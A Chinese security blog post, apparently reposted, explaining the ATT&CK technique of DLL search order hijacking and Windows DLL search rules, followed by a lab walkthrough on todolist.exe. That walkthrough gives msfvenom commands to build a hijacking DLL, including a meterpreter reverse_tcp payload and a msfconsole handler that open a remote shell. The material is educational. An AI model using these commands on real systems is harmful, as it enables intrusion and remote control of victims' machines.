Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

admin 2024年12月6日15:35:24评论16 views字数 2855阅读9分31秒阅读模式

一、技术描述

T1574.001技术(Dll搜索顺序劫持,DLL Search Order Hijacking)位于“权限提升”战术中,是T1574(劫持执行流程)的子技术。官方对该技术的描述如下:

https://attack.mitre.org/techniques/T1574/001/

对手可能通过劫持用于加载DLL的搜索顺序来执行其自身的恶意有效载荷。Windows系统使用一种通用的方法来查找需要加载到程序中的DLL。劫持DLL加载的目的可能是为了建立持久性,以及提升权限和/或规避文件执行限制。

对手劫持DLL加载有多种方式。对手可能在将被搜索的目录中放置特洛伊木马动态链接库文件(DLLs),这些目录比程序请求的合法库的位置更早被搜索到,这将导致Windows在受害程序调用时加载他们的恶意库。攻击者还可能通过在Windows搜索合法DLL之前的位置放置与模糊指定的DLL同名的恶意DLL来执行DLL预加载,这也被称为二进制种植攻击。通常,这个位置是程序的当前工作目录。当程序在加载DLL之前将其当前目录设置为远程位置(如Web共享)时,会发生远程DLL预加载攻击。

幽灵DLL劫持是一种特定类型的DLL搜索顺序劫持,其中对手引用不存在的DLL文件。他们可能通过在缺失模块的位置以正确的名称植入自己的恶意DLL来加载它。

对手还可以通过DLL重定向直接修改搜索顺序,这在启用后(通过注册表设置和创建重定向文件)可能导致程序加载不同的DLL。

如果一个存在搜索顺序漏洞的程序被配置为以更高的权限级别运行,那么由对手控制的DLL也会以更高的权限级别执行。在这种情况下,该技术可用于从用户到管理员或SYSTEM的权限提升,或者从管理员到SYSTEM的权限提升,具体取决于程序。受到路径劫持影响的程序可能表现正常,因为恶意DLL可以配置为同时加载它们意图替换的合法DLL。

二、技术原理

(一)windows xp sp2之前查找dll的顺序

1)进程所对应的应用程序所在的目录;

2)当前目录(Current Directory);

3)系统目录(通过 GetSystemDirectory 获取);

4)16位系统目录

5)Windows目录(通过 GetWindowsDirectory 获取);

6)PATH环境变量中的各个目录;

在这种情况下,例如打开office文档时,office应用程序会被启动,而office程序会加载系统目录中的某个dll文件。如果在office程序的代码中没有指定该dll文件的绝对路径,那么就会以上面的顺序在相关目录中查找该dll文件。攻击者可制作一个恶意dll,起一个与被调用的dll文件相同的名称,放在office文档所在的目录中,那么此恶意dll会因为处于查找顺序靠前(当前目录)的位置的原因而优先于正常dll(系统目录)被调用。

(二)开启SafeDllSearchMode的情况

在开启SafeDllSearchMode的情况下,Windows系统查找DLL的顺序:

1)进程对应的应用程序所在目录;

2)系统目录(即%windir%system32);

3)16位系统目录(即%windir%system);

4)Windows目录(即%windir%);

5)当前目录(Current Directory);

6)PATH环境变量中的各个目录;

在这种情况下,前面的劫持office程序所调用的dll的方法就行不通了,因为当前目录的查找顺序在windows目录的后面。但仍然可以通过将恶意dll放在进程所对应的应用程序目录而实现劫持。

SafeDllSearchMode的开启方法(默认为开启状态):

HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1

(三)windows 7以上系统查找dll的顺序

windows 7系统没有了SafeDllSearchMode,而采用了KnownDLLs。凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,只能从系统目录即SYSTEM32目录下调用。KnownDLLs的注册表位置:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

最终,Windows2003和win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

在这种情况下,仍然可以实现dll劫持,方法如下:

查看可执行程序所调用的dll文件,若其中某个dll文件不在KnownDLLs列表中且使用相对路径调用,则制作同名dll文件,放在应用程序目录中,在可执行文件运行时即可执行dll文件中的代码。

三、技术实现

使用DLL Hijacking Auditor检测应用程序是否存在dll劫持漏洞,被检测对象名为todolist.exe。

(一)启动检测

运行DLL Hijacking Auditor,指定可执行文件,点击start audit。

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

当发现存在可利用的漏洞时,会要求点击Exploit按钮。

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

根据提示,点击report按钮,下载报告:

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

(二)查看报告

在报告的“Detailed Audit Report”部分,可以看到存在漏洞的dll文件,名称为“todolistloc.dll”:

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

最终的结论是“Application is Exploitable”。

(三)验证漏洞

1、创建用于劫持的dll

//使用msfvenom创建dll,可弹出消息窗口

msfvenom -p windows/messagebox -a x86 -f dll -o todolistloc.dll

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

将todolistloc.dll放入todolist.exe所在的目录中。

2、查看劫持效果

双击运行todolist.exe,直接弹出窗口:

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

弹窗意味着执行了注入的代码,说明dll劫持成功。

(四)利用漏洞

1、创建用于劫持的dll

如果生成的是执行反弹连接的dll,则攻击者可以得到shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.1 LPORT=4444 -a x86 -f dll -o todolistloc.dll

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

2、准备接收反弹连接

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.242.1

set lport 4444

exploit

3、获取反弹shell

双击运行todolist.exe后,攻击者得到反弹shell:

Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

原文始发于微信公众号(新蜂网络安全实验室):Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月6日15:35:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mitre_Att&ck框架T1574.001技术(劫持Dll搜索顺序)的简单实现https://cn-sec.com/archives/3474773.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息